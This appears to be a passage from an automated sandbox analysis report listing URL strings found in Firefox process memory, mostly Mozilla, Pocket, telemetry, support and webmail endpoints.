Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabSends
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.endpointSpocsClear
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.modelKeys
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendationsresource://gre/modules/Region.sys.mjsresource://gre/modules/App
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/cfworker__absolute_recursive_ref__isPotentiallyVulnerablePassword
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001D.00000002.3431199683.00000214AF1C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001D.00000002.3431199683.00000214AF1C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsresource://pdf.js/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.mdexperimental-features
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001D.00000003.3364445219.00000214ADDB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/get
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Should
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001D.00000002.3438362474.00000214AF718000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submitdiscoverystream.isCollectionDismissibleDecision
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001D.00000002.3443789097.00000214B3CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3328071600.00000214B3CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3335869944.00000214B3CE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001D.00000002.3399505695.00000214AADAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC44A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A896A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%Please
Source: firefox.exe, 0000001D.00000002.3404937712.00000214AB803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3414473910.00000214AC883000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001D.00000002.3421733253.00000214ADB21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjsresource://normandy/lib/Te
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3396815787.00000214A8B22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B5DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/common/Actions.sys.mjsb
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3383883724.00000214A7AC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.comhttps://support.mozilla.orgmaybeShowOnboardingDialoghttps://screenshots.f
Source: firefox.exe, 0000001D.00000002.3449152388.00001317B2304000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource://pdf.js/PdfJsDefaultPreferences.sys
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttps://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/Unexpected
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svgpictureinpicture%40mozilla.org:1.0.0
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001D.00000003.3340297144.00000214B3CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3438362474.00000214AF7C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3447537019.00000214B5D38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/os.windowsBuildNumber
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/userCouldn
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3332867628.00000214ACD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsQUERY_CONTENT_FLAG_SELECTION_IME_SELECTEDCONVERTEDT
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF80000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-p
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3322309310.00000214ACB79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001D.00000002.3423004266.00000214ADD7F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001D.00000002.3417855408.00000214ACC43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helptransitionState
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
